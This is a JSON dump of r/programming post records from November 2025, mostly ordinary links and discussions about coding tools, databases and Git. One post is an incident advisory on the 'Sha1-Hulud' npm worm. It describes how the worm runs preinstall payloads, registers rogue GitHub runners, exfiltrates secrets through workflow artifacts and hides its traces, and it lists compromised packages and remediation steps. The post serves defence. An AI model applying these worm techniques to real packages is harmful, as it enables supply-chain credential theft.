  "numComments": 36,
  "createdAt": "2025-11-28T20:25:01.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://youtu.be/8ncQrGuunHY",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1p904p5",
  "url": "https://www.interviewquery.com/p/ai-coding-vibe-coding-explained",
  "permalink": "https://www.reddit.com/r/programming/comments/1p904p5/google_ceo_pushes_vibe_coding_but_real_developers/",
  "title": "Google CEO Pushes ‘Vibe Coding’ — But Real Developers Know It's Not Magic",
  "body": "Google CEO Sundar Pichai says AI will make coding accessible to everyone, but engineers know its limitations.",
  "author": "disforwork",
  "subreddit": "programming",
  "score": 1389,
  "upvoteRatio": 0.9,
  "numComments": 290,
  "createdAt": "2025-11-28T17:06:44.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.interviewquery.com/p/ai-coding-vibe-coding-explained",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1p7v0gc",
  "url": "https://medium.com/@shabanajasmin/284c5cf0fc60",
  "permalink": "https://www.reddit.com/r/programming/comments/1p7v0gc/i_wrote_a_guide_on_angular_signal_forms_feedback/",
  "title": "I wrote a guide on Angular Signal Forms — feedback appreciated 🔴 Angular Signal Forms: The Game-Changing Upgrade Developers Have Been Waiting For",
  "body": "Hey developers,\nI recently wrote a detailed article on Medium about Angular Signal Forms and how they improve the overall form structure.\n\nHere’s the link if you want to check it out:\n\nAny feedback or suggestions are welcome!",
  "author": "ponnappanking",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.5,
  "numComments": 0,
  "createdAt": "2025-11-27T06:22:32.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://medium.com/@shabanajasmin/284c5cf0fc60",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1p7up3u",
  "url": "https://ziglang.org/news/migrating-from-github-to-codeberg/",
  "permalink": "https://www.reddit.com/r/programming/comments/1p7up3u/the_zig_language_repository_is_migrating_from/",
  "title": "The Zig language repository is migrating from Github to Codeberg",
  "body": null,
  "author": "TheTwelveYearOld",
  "subreddit": "programming",
  "score": 1140,
  "upvoteRatio": 0.95,
  "numComments": 359,
  "createdAt": "2025-11-27T06:04:55.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://ziglang.org/news/migrating-from-github-to-codeberg/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1p7r5l4",
  "url": "https://www.theregister.com/2025/11/24/opinion_column_vibe_coding/?td=rt-4a",
  "permalink": "https://www.reddit.com/r/programming/comments/1p7r5l4/vibe_coding_what_is_it_good_for_absolutely_nothing/",
  "title": "Vibe coding: What is it good for? Absolutely nothing",
  "body": null,
  "author": "stronghup",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.49,
  "numComments": 34,
  "createdAt": "2025-11-27T02:54:18.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.theregister.com/2025/11/24/opinion_column_vibe_coding/?td=rt-4a",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1p7ovhh",
  "url": "https://www.harmonyintelligence.com/taking-down-next-js-servers",
  "permalink": "https://www.reddit.com/r/programming/comments/1p7ovhh/taking_down_nextjs_servers_for_00001_cents_a_pop/",
  "title": "Taking down Next.js servers for 0.0001 cents a pop",
  "body": null,
  "author": "stephenalexbrowne",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.39,
  "numComments": 3,
  "createdAt": "2025-11-27T00:58:51.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.harmonyintelligence.com/taking-down-next-js-servers",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1p7oqbc",
  "url": "https://github.com/nubskr/walrus",
  "permalink": "https://www.reddit.com/r/programming/comments/1p7oqbc/i_built_a_distributed_message_streaming_platform/",
  "title": "I built a distributed message streaming platform from scratch that's faster than Kafka",
  "body": "I've been working on Walrus, a message streaming system (think Kafka-like) written in Rust. The focus was on making the storage layer as fast as possible.\n\n**Performance highlights:**\n\n* **1.2 million writes/second** (no fsync)\n* **5,000 writes/second** (fsync)\n* Beats both Kafka and RocksDB in benchmarks (see graphs in README)\n\n**How it's fast:**\n\nThe storage engine is custom-built instead of using existing libraries. On Linux, it uses io\\_uring for batched writes. On other platforms, it falls back to regular `pread`/`pwrite` syscalls. You can also use memory-mapped files if you prefer.\n\nEach topic is split into segments (\\~1M messages each). When a segment fills up, it automatically rolls over to a new one and distributes leadership to different nodes. This keeps the cluster balanced without manual configuration.\n\n**Distributed setup:**\n\nThe cluster uses Raft for coordination, but only for metadata (which node owns which segment). The actual message data never goes through Raft, so writes stay fast. If you send a message to the wrong node, it just forwards it to the right one.\n\nYou can also use the storage engine standalone as a library (`walrus-rust` on crates.io) if you just need fast local logging.\n\nI also wrote a TLA+ spec to verify the distributed parts work correctly (segment rollover, write safety, etc).\n\nCode: [https://github.com/nubskr/walrus](https://github.com/nubskr/walrus)\n\nWould love to hear what you think, especially if you've worked on similar systems!",
  "author": "Ok_Marionberry8922",
  "subreddit": "programming",
  "score": 100,
  "upvoteRatio": 0.72,
  "numComments": 64,
  "createdAt": "2025-11-27T00:51:56.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://github.com/nubskr/walrus",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1p6w9xs",
  "url": "https://visualstudiomagazine.com/articles/2025/11/21/googles-antigravity-ide-sparks-forking-debate.aspx?utm_source=chatgpt.com",
  "permalink": "https://www.reddit.com/r/programming/comments/1p6w9xs/antigravity_more_marketing_hype_than_real_ide/",
  "title": "Antigravity: More marketing hype than real IDE progress",
  "body": "Went through this article on Antigravity and it kind of confirmed what I was already feeling it doesn’t really seem like the big “new IDE” Google is selling it as. If it’s basically another VS Code fork with some AI sprinkled on top, that’s not exactly exciting.",
  "author": "Digitalunicon",
  "subreddit": "programming",
  "score": 275,
  "upvoteRatio": 0.9,
  "numComments": 63,
  "createdAt": "2025-11-26T02:42:19.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://visualstudiomagazine.com/articles/2025/11/21/googles-antigravity-ide-sparks-forking-debate.aspx?utm_source=chatgpt.com",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1p6iql6",
  "url": "https://terriblesoftware.org/2025/11/25/what-actually-makes-you-senior/",
  "permalink": "https://www.reddit.com/r/programming/comments/1p6iql6/what_actually_makes_you_senior/",
  "title": "What Actually Makes You Senior",
  "body": null,
  "author": "Acceptable-Courage-9",
  "subreddit": "programming",
  "score": 420,
  "upvoteRatio": 0.91,
  "numComments": 185,
  "createdAt": "2025-11-25T17:33:36.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://terriblesoftware.org/2025/11/25/what-actually-makes-you-senior/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1p6blny",
  "url": "https://www.nuget.org/packages/BTreePlus",
  "permalink": "https://www.reddit.com/r/programming/comments/1p6blny/notes_from_building_a_btree_storage_engine_in_net/",
  "title": "Notes from building a B+Tree storage engine in .NET — design trade-offs and unexpected challenges",
  "body": "I’ve been exploring B+Tree implementations recently and decided to build a small storage engine in .NET as a way to understand the lower-level behavior of on-disk indexing structures. I wanted to share some of the interesting technical challenges I ran into — in case others find the internals fun to think about.\n\nSome of the more interesting aspects were:\n\n**• Page layout decisions**  \nChoosing the right fixed-size page format ended up being more subtle than expected. Even small choices (header size, key encoding, how much space to reserve for split operations) had major downstream effects on fragmentation and insert performance.\n\n**• Handling node splits efficiently**  \nB+Tree splits are straightforward in memory, but on disk the cost model is very different. Ensuring minimal writes and predictable locality forced me to rethink a few “textbook” algorithms.\n\n**• Concurrency vs. simplicity**  \nI experimented with optimistic vs. coarse-grained locking. Even implementing a read-optimized path required careful handling of pointer updates during splits.\n\n**• Crash-safety without a full WAL**  \nOne interesting constraint was trying to maintain reasonable crash-safety guarantees without embedding a full write-ahead log. Page write ordering and atomic metadata updates become tricky puzzles.\n\n**• Benchmarking surprises**  \nSome operations that I expected to be expensive (like sequential inserts) performed far better than random inserts, even after caching. A few caching heuristics ended up mattering much more than raw structure layout.\n\nIf anyone wants to look deeper into the implementation details (purely from an educational/technical standpoint), the code is available on NuGet:  \n[https://www.nuget.org/packages/BTreePlus](https://www.nuget.org/packages/BTreePlus)  \n(Sharing only as reference material — not asking for feedback or promoting anything.)\n\nAlways happy to discuss data-structure internals or hear how others have approached similar problems.\n\n\n\n",
  "author": "Tasty_Oven_779",
  "subreddit": "programming",
  "score": 2,
  "upvoteRatio": 0.52,
  "numComments": 13,
  "createdAt": "2025-11-25T12:49:25.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.nuget.org/packages/BTreePlus",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1p65bns",
  "url": "https://youtu.be/gTr2Qh5825M",
  "permalink": "https://www.reddit.com/r/programming/comments/1p65bns/i_know_many_of_you_miss_programming_in_logo/",
  "title": "I know many of you miss programming in LOGO",
  "body": "So, by popular demand from absolutely no one, I’ve made another video using cutting-edge technology.\n\nYou’re welcome!",
  "author": "anadalg",
  "subreddit": "programming",
  "score": 1,
  "upvoteRatio": 0.54,
  "numComments": 2,
  "createdAt": "2025-11-25T06:28:18.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://youtu.be/gTr2Qh5825M",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1p5m5n2",
  "url": "https://www.youtube.com/watch?v=w3_0x6oaDmI",
  "permalink": "https://www.reddit.com/r/programming/comments/1p5m5n2/why_electronic_voting_is_a_bad_idea_why_you_cant/",
  "title": "Why Electronic Voting is a BAD Idea - Why you can't program your way to election integrity",
  "body": null,
  "author": "grauenwolf",
  "subreddit": "programming",
  "score": 867,
  "upvoteRatio": 0.81,
  "numComments": 1011,
  "createdAt": "2025-11-24T16:48:52.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.youtube.com/watch?v=w3_0x6oaDmI",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1p5i31d",
  "url": "https://www.aikido.dev/blog/shai-hulud-strikes-again-hitting-zapier-ensdomains",
  "permalink": "https://www.reddit.com/r/programming/comments/1p5i31d/sha1hulud_the_second_comming_postman_zapier/",
  "title": "Sha1-Hulud The Second Comming - Postman, Zapier, PostHog all compromised via NPM",
  "body": "In September, a self-propagating worm called Sha1-Hulud came into action. A new version is now spreading and it is much much worse!\n\nLink: [https://www.aikido.dev/blog/shai-hulud-strikes-again-hitting-zapier-ensdomains](https://www.aikido.dev/blog/shai-hulud-strikes-again-hitting-zapier-ensdomains)\n\nThe mechanics are basically the same, It infected NPM packages with stolen developer tokens. The malware uses preinstall script to run malware on a victim machine, scans for secrets, steals them and publishes them on GitHub in a public repository. It then uses stolen NPM tokens to infect more packages.\n\nIn September, it never made critical mass... But now it looks like it has.\n\nSo far, over 28,000 GitHub repositories have been made with the description \"Sha1-Hulud: The Second Coming\". These repos have the stolen secrets inside them encoded in Base64.\n\n[https://github.com/search?q=Sha1-Hulud%3A+The+Second+Coming&ref=opensearch&type=repositories](https://github.com/search?q=Sha1-Hulud%3A+The+Second+Coming&ref=opensearch&type=repositories)\n\nWe first published about this after our discover at 09:25 CET but it has since got much worse. [https://x.com/AikidoSecurity/status/1992872292745888025](https://x.com/AikidoSecurity/status/1992872292745888025)\n\nAt the start, the most significant compromise was Zapier (we still think this is the most likely first seed), but as the propagation started to pick up steam, we quickly saw other big names like PostMan and PostHog also fall.\n\n**Technical details of the attack**\n\n* The malicious packages execute code in the preinstall lifecycle script.\n* Payload names include files like setup\\_bun.js and bun\\_environment.js.\n* On infection, the malware:\n   * Registers the machine as a “self-hosted runner” named “SHA1HULUD” and injects a GitHub Actions workflow (.github/workflows/discussion.yaml) to allow arbitrary commands via GitHub discussions.\n   * Exfiltrates secrets via another workflow (formatter\\_123456789.yml) that uploads secrets as artifacts, then deletes traces (branch & workflow) to hide.\n   * Targets cloud credentials across AWS, Azure, GCP: reads environment variables, metadata services, credentials files; tries privilege escalation (e.g., via Docker container breakout) and persistent access.\n\n**Impact & Affected Package**\n\nWe are updating our blog as we go, at time of writing this its 425 packages covering 132 million weekly downloads total\n\n**Compromised Zaiper Packages**\n\n    zapier/ai-actions\n    zapier/ai-actions-react\n    zapier/babel-preset-zapier\n    zapier/browserslist-config-zapier\n    zapier/eslint-plugin-zapier\n    zapier/mcp-integration\n    zapier/secret-scrubber\n    zapier/spectral-api-ruleset\n    zapier/stubtree\n    zapier/zapier-sdk\n    zapier-async-storage\n    zapier-platform-cli\n    zapier-platform-core\n    zapier-platform-legacy-scripting-runner\n    zapier-platform-schema\n    zapier-scripts\n\n**Compromised Postman Packages**\n\n    postman/aether-icons\n    postman/csv-parse\n    postman/final-node-keytar\n    postman/mcp-ui-client\n    postman/node-keytar\n    postman/pm-bin-linux-x64\n    postman/pm-bin-macos-arm64\n    postman/pm-bin-macos-x64\n    postman/pm-bin-windows-x64\n    postman/postman-collection-fork\n    postman/postman-mcp-cli\n    postman/postman-mcp-server\n    postman/pretty-ms\n    postman/secret-scanner-wasm\n    postman/tunnel-agent\n    postman/wdio-allure-reporter\n    postman/wdio-junit-reporter\n\n**Compromised Post Hog Packages**\n\n    posthog/agent\n    posthog/ai\n    posthog/automatic-cohorts-plugin\n    posthog/bitbucket-release-tracker\n    posthog/cli\n    posthog/clickhouse\n    posthog/core\n    posthog/currency-normalization-plugin\n    posthog/customerio-plugin\n    posthog/databricks-plugin\n    posthog/drop-events-on-property-plugin\n    posthog/event-sequence-timer-plugin\n    posthog/filter-out-plugin\n    posthog/first-time-event-tracker\n    posthog/geoip-plugin\n    posthog/github-release-tracking-plugin\n    posthog/gitub-star-sync-plugin\n    posthog/heartbeat-plugin\n    posthog/hedgehog-mode\n    posthog/icons\n    posthog/ingestion-alert-plugin\n    posthog/intercom-plugin\n    posthog/kinesis-plugin\n    posthog/laudspeaker-plugin\n    posthog/lemon-ui\n    posthog/maxmind-plugin\n    posthog/migrator3000-plugin\n    posthog/netdata-event-processing\n    posthog/nextjs\n    posthog/nextjs-config\n    posthog/nuxt\n    posthog/pagerduty-plugin\n    posthog/piscina\n    posthog/plugin-contrib\n    posthog/plugin-server\n    posthog/plugin-unduplicates\n    posthog/postgres-plugin\n    posthog/react-rrweb-player\n    posthog/rrdom\n    posthog/rrweb\n    posthog/rrweb-player\n    posthog/rrweb-record\n    posthog/rrweb-replay\n    posthog/rrweb-snapshot\n    posthog/rrweb-utils\n    posthog/sendgrid-plugin\n    posthog/siphash\n    posthog/snowflake-export-plugin\n    posthog/taxonomy-plugin\n    posthog/twilio-plugin\n    posthog/twitter-followers-plugin\n    posthog/url-normalizer-plugin\n    posthog/variance-plugin\n    posthog/web-dev-server\n    posthog/wizard\n    posthog/zendesk-plugin\n    \n    posthog-docusaurus\n    posthog-js\n    posthog-node\n    posthog-plugin-hello-world\n    posthog-react-native\n    posthog-react-native-session-replay\n\n**What to do if you’re impacted (or want to protect yourself)**\n\nSearch Immediately remove/replace any compromised packages.\n\nClear npm cache (npm cache clean --force), delete node\\_modules, reinstall clean. (This will prevent reinfection)\n\nRotate all credentials: npm tokens, GitHub PATs, SSH keys, cloud credentials. Enforce MFA (ideally phishing-resistant) for developers + CI/CD accounts.\n\nAudit GitHub & CI/CD pipelines: search for new repos with description “Sha1-Hulud: The Second Coming”, look for unauthorized workflows or commits, monitor for unexpected npm publishes.\n\nImplement something like Safe-Chain to prevent malicious packages from getting installed [https://github.com/AikidoSec/safe-chain](https://github.com/AikidoSec/safe-chain)\n\nLinks\n\nBlog Post: [https://www.aikido.dev/blog/shai-hulud-strikes-again-hitting-zapier-ensdomains](https://www.aikido.dev/blog/shai-hulud-strikes-again-hitting-zapier-ensdomains)\n\nFirst Social Posts\n\n[https://www.linkedin.com/posts/advocatemack\\_zapier-supply-chain-compromise-alert-in-activity-7398643172815421440-egmk](https://www.linkedin.com/posts/advocatemack_zapier-supply-chain-compromise-alert-in-activity-7398643172815421440-egmk)",
  "author": "Advocatemack",
  "subreddit": "programming",
  "score": 567,
  "upvoteRatio": 0.97,
  "numComments": 75,
  "createdAt": "2025-11-24T14:12:44.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.aikido.dev/blog/shai-hulud-strikes-again-hitting-zapier-ensdomains",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1p5cgvn",
  "url": "https://vladmihalcea.com/book-review-just-use-postgres/",
  "permalink": "https://www.reddit.com/r/programming/comments/1p5cgvn/book_review_just_use_postgres/",
  "title": "Book Review - Just Use Postgres!",
  "body": "If you're using PostgreSQL, you should definitely read this book.",
  "author": "vladmihalceacom",
  "subreddit": "programming",
  "score": 2,
  "upvoteRatio": 0.54,
  "numComments": 5,
  "createdAt": "2025-11-24T09:16:27.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://vladmihalcea.com/book-review-just-use-postgres/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1p5b2yv",
  "url": "https://piotrminkowski.com/2025/11/24/mcp-with-quarkus-langchain4j/",
  "permalink": "https://www.reddit.com/r/programming/comments/1p5b2yv/mcp_with_quarkus_langchain4j_piotrs_techblog/",
  "title": "MCP with Quarkus LangChain4j - Piotr's TechBlog",
  "body": null,
  "author": "piotr_minkowski",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.43,
  "numComments": 1,
  "createdAt": "2025-11-24T07:46:27.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://piotrminkowski.com/2025/11/24/mcp-with-quarkus-langchain4j/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1p4uvhw",
  "url": "https://eavan.blog/posts/alert-budgeting.html",
  "permalink": "https://www.reddit.com/r/programming/comments/1p4uvhw/alerts_you_need_a_budget/",
  "title": "Alerts: You need a budget!",
  "body": "No matter the company, the domain, or the culture, I hear devops people complain about alert fatigue. This is not strange. Our work can be demanding and alerts can be a big cause of that \"demand\". What is strange, in my view, is that there is a general sense of defeatism when it comes to dealing with alert fatigue. Maybe some quick initiative here and there to clean up this or that. But status quo always returns. We have no structural solutions (that I've seen).  \nSo let me try my hand at proposing a simple idea: budgeting.",
  "author": "IEavan",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.39,
  "numComments": 1,
  "createdAt": "2025-11-23T19:01:31.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://eavan.blog/posts/alert-budgeting.html",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1p4ti19",
  "url": "https://mehmetgoekce.substack.com/p/b-trees-why-every-database-uses-them",
  "permalink": "https://www.reddit.com/r/programming/comments/1p4ti19/btrees_why_every_database_uses_them/",
  "title": "B-Trees: Why Every Database Uses Them",
  "body": null,
  "author": "m3m3o",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.49,
  "numComments": 8,
  "createdAt": "2025-11-23T18:07:20.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://mehmetgoekce.substack.com/p/b-trees-why-every-database-uses-them",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1p4rxg4",
  "url": "https://www.youtube.com/watch?v=xNX9H_ZkfNE",
  "permalink": "https://www.reddit.com/r/programming/comments/1p4rxg4/graphics_api_is_irrelevant/",
  "title": "Graphics API is irrelevant",
  "body": null,
  "author": "Chii",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.45,
  "numComments": 32,
  "createdAt": "2025-11-23T17:06:11.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.youtube.com/watch?v=xNX9H_ZkfNE",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1p4kf9a",
  "url": "https://mastodon.gamedev.place/@TomF/115589875974658415",
  "permalink": "https://www.reddit.com/r/programming/comments/1p4kf9a/a_bug_caused_by_a_door_in_a_game_you_may_have/",
  "title": "A bug caused by a door in a game you may have heard of called \"Half Life 2\" (spoiler: fp precision)",
  "body": null,
  "author": "self",
  "subreddit": "programming",
  "score": 629,
  "upvoteRatio": 0.94,
  "numComments": 50,
  "createdAt": "2025-11-23T11:25:08.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://mastodon.gamedev.place/@TomF/115589875974658415",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1p46nnw",
  "url": "https://jyu.dev/blog/why-dev-null-is-an-acid-compliant-database/",
  "permalink": "https://www.reddit.com/r/programming/comments/1p46nnw/why_devnull_is_an_acid_compliant_database/",
  "title": "Why /dev/null Is an ACID Compliant Database",
  "body": null,
  "author": "alexeyr",
  "subreddit": "programming",
  "score": 556,
  "upvoteRatio": 0.93,
  "numComments": 79,
  "createdAt": "2025-11-22T22:53:13.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://jyu.dev/blog/why-dev-null-is-an-acid-compliant-database/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1p43akz",
  "url": "https://blog.prdai.dev/blog/accepting-that-you-won-t-know-it-all/",
  "permalink": "https://www.reddit.com/r/programming/comments/1p43akz/my_journey_to_accepting_that_you_wont_know_it_all/",
  "title": "my journey to accepting that you wont know it all",
  "body": null,
  "author": "Working-Dot5752",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.4,
  "numComments": 15,
  "createdAt": "2025-11-22T20:26:55.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://blog.prdai.dev/blog/accepting-that-you-won-t-know-it-all/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1p3thwc",
  "url": "https://iwriteaboutcode.blogspot.com/2025/11/after-15-years-i-have-finally-reached.html",
  "permalink": "https://www.reddit.com/r/programming/comments/1p3thwc/after_15_years_i_have_finally_reached_the_point/",
  "title": "After 15 years, I have finally reached the point where I use Outlook as my build pipeline",
  "body": "I had an annoying problem at work where we had to work around some less-than-optimal firewall rules, and because we are working on a tool that requires quite frequent testing (like several times per hour we work on it), it was really adding up to take these five-minutes per file that it took to get them from my coworker's machine to mine, and I quickly designed a server workflow that could take the encoded file and save it to its own file system.   \nBecause we could not find a good way to bring these files over, we figured it was actually a good idea to send it via email to an inbox with a specific subject line, and then have a Python script on my end checking the inbox every minute to then take the attached file and send it to the endpoint. \n\nThis has to be one of the hackiest solutions I have come up with over the years for a problem that wouldn't have to be one if my coworker was simply allowed to call the endpoint from his code, but I found it interesting how simple it actually is to connect from a Python script to a local Outlook client and parse the results. Less than 100 lines of code, and we have a \"build pipeline\" going that reduces our manual overhead significantly. ",
  "author": "codingtofreedom",
  "subreddit": "programming",
  "score": 379,
  "upvoteRatio": 0.92,
  "numComments": 64,
  "createdAt": "2025-11-22T13:40:30.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://iwriteaboutcode.blogspot.com/2025/11/after-15-years-i-have-finally-reached.html",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1p3t5jl",
  "url": "https://opensource.microsoft.com/blog/2025/11/20/preserving-code-that-shaped-generations-zork-i-ii-and-iii-go-open-source",
  "permalink": "https://www.reddit.com/r/programming/comments/1p3t5jl/microsoft_open_sources_zork_1_2_and_3_under_the/",
  "title": "Microsoft open sources Zork 1, 2 and 3 under the MIT License",
  "body": null,
  "author": "Witty-Play9499",
  "subreddit": "programming",
  "score": 317,
  "upvoteRatio": 0.95,
  "numComments": 63,
  "createdAt": "2025-11-22T13:24:20.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://opensource.microsoft.com/blog/2025/11/20/preserving-code-that-shaped-generations-zork-i-ii-and-iii-go-open-source",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1p3pgwj",
  "url": "https://spf13.com/p/the-hidden-conversation/",
  "permalink": "https://www.reddit.com/r/programming/comments/1p3pgwj/why_engineers_cant_be_rational_about_programming/",
  "title": "Why Engineers Can't Be Rational About Programming Languages | spf13",
  "body": null,
  "author": "Maybe-monad",
  "subreddit": "programming",
  "score": 105,
  "upvoteRatio": 0.74,
  "numComments": 104,
  "createdAt": "2025-11-22T09:54:28.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://spf13.com/p/the-hidden-conversation/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1p33wev",
  "url": "https://blog.tymscar.com/posts/openaiunmergeddemo/",
  "permalink": "https://www.reddit.com/r/programming/comments/1p33wev/openai_demod_fixing_issue_2472_live_its_still_open/",
  "title": "OpenAI Demo'd Fixing Issue #2472 Live. It's Still Open.",
  "body": null,
  "author": "tymscar",
  "subreddit": "programming",
  "score": 244,
  "upvoteRatio": 0.93,
  "numComments": 20,
  "createdAt": "2025-11-21T16:57:23.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://blog.tymscar.com/posts/openaiunmergeddemo/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:year",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1p2z6ka",
  "url": "https://www.phoronix.com/news/Git-2.52-Released",
  "permalink": "https://www.reddit.com/r/programming/comments/1p2z6ka/git_30_is_using_the_default_branch_name_of_main/",
  "title": "Git 3.0 is using the default branch name of \"main\" rather than the current default of \"master\"",
  "body": null,
  "author": "nix-solves-that-2317",
  "subreddit": "programming",
  "score": 3151,
  "upvoteRatio": 0.88,
  "numComments": 1815,
  "createdAt": "2025-11-21T13:52:59.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.phoronix.com/news/Git-2.52-Released",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
